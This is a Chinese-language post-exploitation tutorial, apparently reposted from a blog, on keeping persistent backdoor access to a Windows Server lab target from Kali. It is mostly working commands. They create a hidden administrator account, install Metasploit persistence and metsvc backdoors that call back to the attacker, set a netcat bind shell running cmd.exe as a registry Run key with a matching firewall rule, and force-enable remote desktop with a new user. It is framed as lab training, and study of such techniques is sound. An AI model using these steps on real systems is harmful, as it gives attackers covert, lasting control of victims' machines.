12.3、后渗透测试--持久化后门

news2024/11/27 21:06:28
攻击主机: Kali 192.168.11.106
靶机:windows server 2008 r2   192.168.11.134
 

零、为何要创建后门

当成功获取目标系统的访问权限后,需要寻找方法来恢复与目标主机的连接,而无需再进入目标系统。如果目标用户破坏了该连接,例如 重新启动计算机,此时使用后门将允许自动重新与目标系统建立连 接, 不必每次都需要进行攻击取得 meterpreter 为了后续渗透方便,所以需要创建一个后门。这样,即使连接被中断,也不会影响工作。下面将介绍创建持久后门的几种方式。
前提: 获得 meterpreter shell
创建后门的几种方式:
  1. 靶机创建隐藏用户,后期可直接使用隐藏用户登录目标主机;
  2. 通过persistence脚本安装后门;
  3. 通过metsvc服务的方式;
  4. 持久化后门netcat
  5. 通过开启远程桌面

一、靶机创建隐藏用户

1、进入靶机 
meterpreter > shell
2.创建用户 注意这里用户使用了$符号,可以起到隐藏创建用户的目的
C:\Windows\system32>  net user hacker$ Hacker_123  /add
3、将创建的用户添加到管理员组
C:\Windows\system32>  net localgroup administrators hacker$  /add
net user查看不到hacker$用户,但在靶机上还是能看到你创建的这个隐藏用户:

 可以使用hacker$/Hacker_123这个用户登录到靶机。

二、通过persistence脚本安装后门

路径:  metasploit/scripts/meterpreter/persistence.rb  ,用于创建通过启动项启动。会创建注册表,创建文件,  很容易被杀软拦截 
帮助文档:
1、执行 run persistence -S -U -X  -i  5 -p 8888 -r  192.168.11.106  这样靶机在系统登陆,用户登陆,开机,使用中每隔5秒都 会自动连接攻击机 192.168.11.106 8888 端口,缺点是容易被杀毒软件查杀
2、执行结束后,会在靶机 的C:/windows/Temp/下建立一个vbs文件( 持久脚本 ),该脚本会 自动在靶机上运行,同时 添加注册表键值 ,如下 :
3、我们下次可直接在kail攻击机器上使用下面的漏洞利用模块和攻击载荷攻击,获取靶机的meterpreter, 必须先 将靶机重启
kail攻击机器输入如下指令:
> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set LHOST 192.168.11.106
> set LPORT 8888    #    端口要和上面的persistence后门端口一致
> run
运行后,可以成功获得meterpreter shell:

三、通过metsvc服务的方式

路径:  metasploit/scripts/meterpreter/metsvc.rb  ,用于创建服务启动。会创建名为meterpreter的服务 ,并 在C:\Users***\AppData\Local\Temp\上传三个文件 (metsrv.x86.dll、metsvc-server.exe、metsvc.exe)   很容易被杀软拦截,且安装服务需要管理员权限 
1、运行 run metsvc将会在靶机上以Meterpreter服务的形式注册到服务列表中,并开机自动启动。
运行 run metsvc -r卸载靶机上的Meterpreter服务。
查看服务已启动:
查看进程:
端口也是启动的状态:

 这些说明靶机上已经开始监听31337端口了。

2、我们下次可直接在kail攻击机器上使用下面的漏洞利用模块和攻击载荷攻击,获取靶机的meterpreter, 必须先 将靶机重启
kail攻击机器输入如下指令:
> use exploit/multi/handler
set payload windows/metsvc_bind_tcp  指定的木马模块
set RHOST 192.168.11.134   # 靶机IP
> set LPORT 31337    # 靶机上监听的端口值31337
> run
这里一直会话每次刚创建成功就会断开, 推测是 run metsvc 被舍弃了,建议使用 exploit/windows/local/persistence。
使用 exploit/windows/local/persistence
必须先重启靶机,然后再kail攻击机器输入如下指令:
> use exploit/multi/handler
set payload  windows/meterpreter/reverse_tcp  
set LHOST 192.168.11.106  # 设置kail攻击机IP
> set LPORT 4444    # 跟 exploit/windows/local/persistence设置的LPORT相同
> run
运行后,可以成功获得meterpreter shell:

四、持久化后门netcat

nc(全称是netcat)是一个用于TCP/UDP连接和监听的linux工具。nc的实现版本大致有两种,一种是带有-e或-c 选项可以直接给出执行命令,另一种不支持-e选项。
ncat是nmap项目的一部分,在安装nmap的时候会自动安装ncat。ncat是对netcat的重新实现和升级,而且功能更加强大(如ssl加密、代理连接通过socks4 获取http)
nc的监听模式在kali下会出现问题,监听的端口会发生变化,因此推荐同学们在kali下使用ncat
1.1、 上传nc.exe至目标主机
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32  C:\\windows\\system32下的文件都有system权限(最高权限)
验证是否上传成功   ls C:\\windows\\system32 | grep nc.exe
execute -f  C:\\windows\\system32\\nc.exe -h
1.2、注册表自启动程序设置 
枚举查看注册表启动项
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
靶机上注册表该项的确没有任何值:
将nc.exe设置到注册表启动项中
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -ldp 4455 -e cmd.exe'
  • -L 选项或-l选项是将nc设置为监听模式;
  • -p 选项指定监听的端口(混淆为80,53等端口往往能穿透防火墙);
  • -e 选项可以绑定到cmd.exe这个shell程序。
查看以确定nc已经被设置到注册表启动项中
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc
1.3、设置防火墙模式
打开cmdexecute -f cmd -i
当前防火墙操作模式 :netsh firewall show opmode
将nc开放的端口4455加入到目标系统防火墙规则中,入站 netsh advfirewall firewall add rule name=ncport4455  dir=in protocol = tcp action=allow localport=4455
查看目标系统防火墙端口开放状态: netsh firewall show portopening
1.4、nc连接靶机
在kail攻击机上: nc -v 192.168.11.134 4455
靶机重启后,页面弹出:
此时在kail攻击机上: nc -v 192.168.11.134 4455,ok

五、通过开启远程桌面

# 强制开启目标主机远程桌面并自动添加用户名为metasploit密码为 Meterpreter_123 的用户
run getgui -u metasploit -p Meterpreter_123 
# 上面命令会生成清理痕迹的ruby的脚本文件,位置在/root/.msf4/logs/scripts/getgui/clean_up_xxxxx.rc
# 当操作完目标用户后可以使用此脚本清理痕迹、关闭远程桌面服务和删除创建的用户
run multi_console_command -r /root/.msf4/logs/scripts/getgui/clean_up__20221207.0010.rc
模块已舍弃,建议使用模块 run post/windows/manage/enable_rdp
靶机上查看用户:

 

在kail攻击机器上远程登录靶机: rdesktop -u metasploit -p Meterpreter_123 192.168.11.134:3389

六、参考

4-26 后渗透测试实验 - netcat持久化控制_哔哩哔哩_bilibili  
4-27 后渗透测试实验 - 内网主机远程桌面连接_哔哩哔哩_bilibili
5-1 Metsvc建立Backdoor持久化控制_ev_哔哩哔哩_bilibili
5-2 Pesistence建立Backdoor持久化控制_ev_哔哩哔哩_bilibili

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/85750.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Metal每日分享,虚假颜色混合滤镜效果

本案例的目的是理解如何用Metal实现虚假颜色效果滤镜,使用图像的亮度在两种用户指定的颜色之间进行混合; Demo HarbethDemo地址 实操代码 // 混合颜色 let filter C7FalseColor.init(fristColor: .blue, secondColor: .green)// 方案1: ImageView.im…

BMVC2022 | HR-VQVAE:用于图像重建和生成的基于Hierarchical Residual Learning的VQVAE

原文标题:Hierarchical Residual Learning Based Vector Quantized Variational Autoencoder for Image Reconstruction and Generation 链接:https://bmvc2022.mpi-inf.mpg.de/0636_poster.pdf paper:https://arxiv.org/abs/2208.04554 一…

新业务势头强劲,晨光股份转型之路走得如何?

近期,据网传的一份文件显示,上海晨光文具股份有限公司(以下简称“晨光文具”、“晨光股份”、“晨光”“公司”)将于11月29日起,暂停线上线下店面等渠道的A4纸销售。晨光股份(603899.SH)针对此份…

PreScan快速入门到精通第四十一讲图像分割传感器

图像分割传感器(ISS)是一种生成语义分割图像的工具。它在诸如分类、(深度)学习、行人识别、避免碰撞等应用领域非常有用。ISS通常与相机传感器结合使用,以获得被分割的图像。 摄像机传感器 ISS语义类型颜色 ISS语义目标颜…

Vue3+Vite4+Naive-UI 项目自动导入API和组件

一、Vue3常用API导入 安装依赖 pnpm i -D unplugin-auto-import进行Vite配置 文件名:vite.config.ts import { defineConfig } from vite import vue from vitejs/plugin-vue import AutoImport from unplugin-auto-import/vite// https://vitejs.dev/config/ ex…

HDOCK 蛋白蛋白对接软件使用;LZerD网页在线对接

参考: http://hdock.phys.hust.edu.cn/ 注:本文章是取6BOY这蛋白,下载用pymol划分成DDB1-CRBN部分蛋白与BRD4部分蛋白,用这两个蛋白进行软件的对接测试 https://www.rcsb.org/structure/6BOY 一、HDOCK 蛋白蛋白对接软件使用 …

@Enumerated的使用

前言 今天做测试,发现还没有试过实体类中关于枚举项的使用,于是就做了个测试,发现了点问题(发现的问题主要是针对我使用的ORM框架是Ebean,它自带了一个比Enumerated更好用的注解和方式)。 不多说&#xf…

翻硬币(蓝桥杯C/C++B组真题详解)

目录 题目描述:1208. 翻硬币 - AcWing题库 题目思路: 代码详解: 题目描述:1208. 翻硬币 - AcWing题库 题目思路: 这题我们可以用模拟直接模拟操作 也可以直接推出规律 这里就讲解推出的规律 因为每次必须选择两个…

[附源码]计算机毕业设计二次元信息分享平台的设计及实现Springboot程序

项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: Springboot mybatis MavenVue等等组成,B/S模式…

[操作系统笔记]请求分页管理方式

内容系听课复习所做笔记,图例多来自课程截图 操作系统需要提供两大功能: 请求调页:缺失页面调入内存页面置换:暂时不用的换出外存 页表机制 原先的页式管理使用的页表并不能满足新的需求,因此需要为页表增加新的页表…

《垃圾回收算法手册 自动内存管理的艺术》——运行时接口(笔记)

文章目录十一、运行时接口11.1 对象分配接口11.1.1 分配过程的加速11.1.2 清零如何清零何时清零11.2 指针查找11.2.1 保守式指针查找11.2.2 使用带标签值进行精确指针查找11.2.3 对象中的精确指针查找11.2.4 全局根中的精确指针查找11.2.5 栈与寄存器中的精确指针查找11.2.6 代…

DI Blackfin DSP处理器-BF533的开发详解47:图像处理专题-Resize (图像缩放处理)(含源码)

硬件准备 ADSP-EDU-BF533:BF533开发板 AD-HP530ICE:ADI DSP仿真器 软件准备 Visual DSP软件 硬件链接 功能介绍 代码实现了图像缩放处理,代码运行时,会通过文件系统打开工程文件根目下" …/ImageView"路径中的 tes…

JUnit 测试框架

JUnit注解test 注解BeforeEach 注解BeforeAll AfterEachAfterAll断言assertEqualsassertNotEqualsassertTrue用例执行顺序测试套件指定类,添加到套件中并执行一次添加一个包的类参数化单参数多参数借助文件动态参数注解 test 注解 通过对方法加上 test 注解&#…

[附源码]计算机毕业设计二手书店设计论文Springboot程序

项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: Springboot mybatis MavenVue等等组成,B/S模式…

DocArray 0.20.0 发布!新增 Milvus 后端支持,更好地嵌套数据搜索,新增 RGB-D 格式的 3D 模型表示

DocArray 是一个用于处理、传输和存储多模态数据的 Python 工具包。DocArray 提供便捷的多模态数据处理功能,具备基于 Protobuf 提供高性能的网络传输性能,同时也为多种向量存储方案提供统一的 API 接口。 GitHub:github.com/docarray/docar…

外包公司面试门槛高吗?软件测试员进外包公司容易吗?

虽然很多测试人员都抵制外包,但实际情况则是依旧有大量软件测试员,选择加入到外包这个圈子。外包公司面试门槛高吗?外包公司容易进吗?本篇来解答一下这个问题。 外包公司面试门槛高吗? 外包的面试门槛,相对大厂要低很多。尤其…

二、Docker 阿里云镜像加速

1、为什么需要增加镜像加速 咱们先看运行 hello word 都干了哪些事情 "Unable to find image hello-world:latest locally" 是说本地没有hello-world 这个images(镜像) "latest: Pulling from library/hello-world" 本地没有那就得去拉取 这段是拉取 i…

尚医通-MyBatisPlus:查询-删除(四)

(1)MyBatis-简单查询-分页查询 (2)MyBatisPlus删除与逻辑删除 (1)MyBatis-简单查询-分页查询 1.1通过多个id批量查询 完成了动态sql的foreach的功能 //多个id批量查询Testpublic void testSelect1() { …

C++ 入门篇之类 对象的关系

📒博客主页: ​​开心档博客主页​​ 🎉欢迎关注🔎点赞👍收藏⭐留言📝 📌本文由开心档原创! 📆51CTO首发时间:🌴2022年12月12日🌴 ✉…

docker(3):镜像分层原理

目录UnionFS(联合文件系统)docker镜像加载原理分层理解commit镜像docker中,镜像是一种轻量级、可执行的独立软件包,用来打包软件运行环境和基于运行环境开发的软件,它包含运行某个软件所需的所有内容、包括代码、运行时…